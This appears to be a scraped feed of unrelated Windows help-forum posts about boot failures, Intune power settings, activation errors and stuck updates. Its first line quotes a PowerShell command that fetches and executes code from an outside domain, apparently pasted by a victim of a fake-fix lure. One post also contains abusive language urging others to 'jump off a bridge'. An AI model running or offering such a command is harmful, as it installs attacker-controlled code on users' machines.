C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -cOmma iex (iwr -useb baseofframes.com) hice de todo pero no borra el mensaje me sigue saliendo que haggoo

I have a low-end gaming PC with a 500GB NVMe (main Windows drive) and a 1TB HDD (only for storing photos).

I want to install a second Windows on a separate HDD and use it only for gaming(I don't want dual boot or anything). When I want my main setup, I'll power off, remove the gaming HDD, and put my NVMe and photo HDD back in. Only one set of drives will be connected at a time.

My plan:

Remove the NVMe and the 1TB HDD from the PC.

Connect only the new HDD and install Windows on it.

Use it for gaming only.

Swap back to the NVMe whenever I need my main Windows.

My question,

Will installing Windows on the new HDD affect or mess up my main Windows on the NVMe (drivers, boot files, etc.) or mess up anything else?

Hello everyone,

I am currently managing Windows 11 devices within an enterprise environment administered through Microsoft Intune. My objective is to completely hide or remove the Sleep option so that users cannot select it anywhere within the power settings interface.

I have already tested the intune Policy setting titled "Show sleep in the power options menu," located under:

User Configuration > Administrative Templates > Windows Components > File Explorer

However, this configuration only conceals the Sleep option from the Start menu. The option still remains accessible in various other locations throughout the operating system.

Specifically, I need to remove the Sleep option from the following areas:

Control Panel > Power Options > System Settings

- Choose what closing the lid does

- Choose what pressing the power button does

- Choose what pressing the sleep button does

- Remove Sleep from the available dropdown options

Settings > System > Power & battery

- Lid, power, and sleep button settings

- Remove Sleep from the dropdown menus

Any other power settings menus where users are able to select Sleep.

Environment and requirements:

- Windows 11 devices managed centrally via Microsoft Intune.

- Preferably a supported solution utilizing the Intune Settings Catalog, Administrative Templates, custom OMA-URI, or a PowerShell remediation script.

- The solution must successfully hide or remove Sleep from all available choices while retaining alternative options such as Shut down and Restart.

- I intend to thoroughly test the solution on a single target device prior to executing a broader deployment.

Although Standby has already been disabled via existing power management policies, the Sleep option continues to appear within the dropdown menus. I need to ascertain whether there is a officially supported method to remove or hide the Sleep option itself, rather than simply preventing the device from entering the standby state.

Has anyone successfully implemented this in an Intune-managed Windows 11 environment? Is there a supported mechanism to completely remove or hide Sleep from all of these specified locations?

Any expert guidance, thoroughly tested configurations, or PowerShell remediation examples would be greatly appreciated. Thank you in advance for your assistance.

#Windows11 #MicrosoftIntune #EndpointManagement #PowerManagement #SystemAdministration #ITSupport #EnterpriseIT #WindowsDeployment #PowerOptions #RedditFirstPost

Windows boot managers shows as disabled in bios random crashes then asks to insert proper boot device and reboot. Im o.n windows 10. Zero clue what's happening

i fucking fixed it all you bitches who harassed me in the messages blow can go jump off a bridge.

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​System Specifications: AMD Ryzen 5 5600X CPU, ASUS ROG Strix B450-F Gaming motherboard, 16GB DDR4 RAM, NVIDIA GeForce RTX 3060 12GB GPU, internal 1TB SSD, external Seagate HDD.

​now i tried to update windows but it was black screen for 40min and when i turned off my pc using front panel power button this all loop started. And normal advanced recovery command prompt didn't work for me so i tried installing window media creation tool but it didn't make a difference except startup repair in old windows. But my mice , keyboard didn't work there so i have now no hope of using my pc. Is there any way to fix this except getting usb? I don't have usb or in my family no one has usb .

ntoskrnl.exe ntoskrnl.exe+46ddc7 fffff805`41200000 fffff805`42245000 0x01045000 0xaeee138f 01.01.2063 03:49:19 Microsoft® Windows® Operating System NT Kernel & System 10.0.19041.7802 (WinBuild.160101.0800) Microsoft Corporation C:\Windows\system32\ntoskrnl.exe

After enabling Secure Boot, I get a blue screen of death after about 5 minutes.

the arrows won’t work

Please help

Hi, I'm having issues installing windows 10 on msi crosshair laptop. It asks where to install the system, and says there are no disks found and that i should load some magazine driver (no idea where i could find that). How can I fix that? I found somewhere that I should disable Intel VMD, but I have no idea how to do that and if I should do that.

Okay so i've used several utilities for my windows and idk what the hell actually happened, everytime i try to enter the microsoft antivirus and i press on exclustions , it just says ( you don't have the proper permissions to view this page) also the windows update, everytime i try to update the new update it keeps restarting then at the end it says ( undoing the latest update) something like this, like it does undo to the update, also when i go ahead to the network connections and then i pick an ethernet conneciton and press on properties after right clicking on it, it gives me the ( and unexpected error occured ) error when i press on the properties button, help please, and no i can't just format i need a solution , and tysm <3

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Edition Windows 10 Pro

Version 22H2

Installed on ‎11/‎29/‎2020

OS Build 19045.7417

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Hi everyone,

I have a Lenovo Legion 5 15ITH6H that originally came with Windows preinstalled. Windows worked fine for years, but after returning from a trip, I found that it was no longer activated.

Error: 0xC004F074 — Unable to contact the organization's activation server.

Running slmgr.vbs /dlv shows:

• Edition: Windows 10 Pro
• License channel: VOLUME_KMSCLIENT
• Partial product key: T83GX
• License status: Notification

I tried the activation troubleshooter and slmgr.vbs /ato, but neither worked. Checking for an OEM key in the BIOS returned no result.

Any idea why this happened and how I can restore my original Windows license without buying a new key or reinstalling Windows?

Thanks!

HELP

Help! I was performing a cloud restore and everything was downloaded. It took me to the Windows loading screen, then suddenly it shut down and stopped recognizing the storage space.

It won't boot from any device—not a flash drive, not an external hard drive, nothing. I removed the storage space and put it on another computer, installed Windows, and everything worked fine, but it still won't boot. The Secure Boot option won't turn off. I've disabled it, saved the data, and restarted, and it works again. Please advise me, at least so I know how much the repair will cost. I've tried everything, but I don't know where to start. (Note: It recognizes the storage spaces and everything, but it won't boot. It recognizes the main storage space as the boot device, but when I perform a cloud restore, it doesn't recognize it again

Update for window 10 got stuck at 57% and its already an hour passed.What should I do.

Device Name Hp laptop

Ram 8gb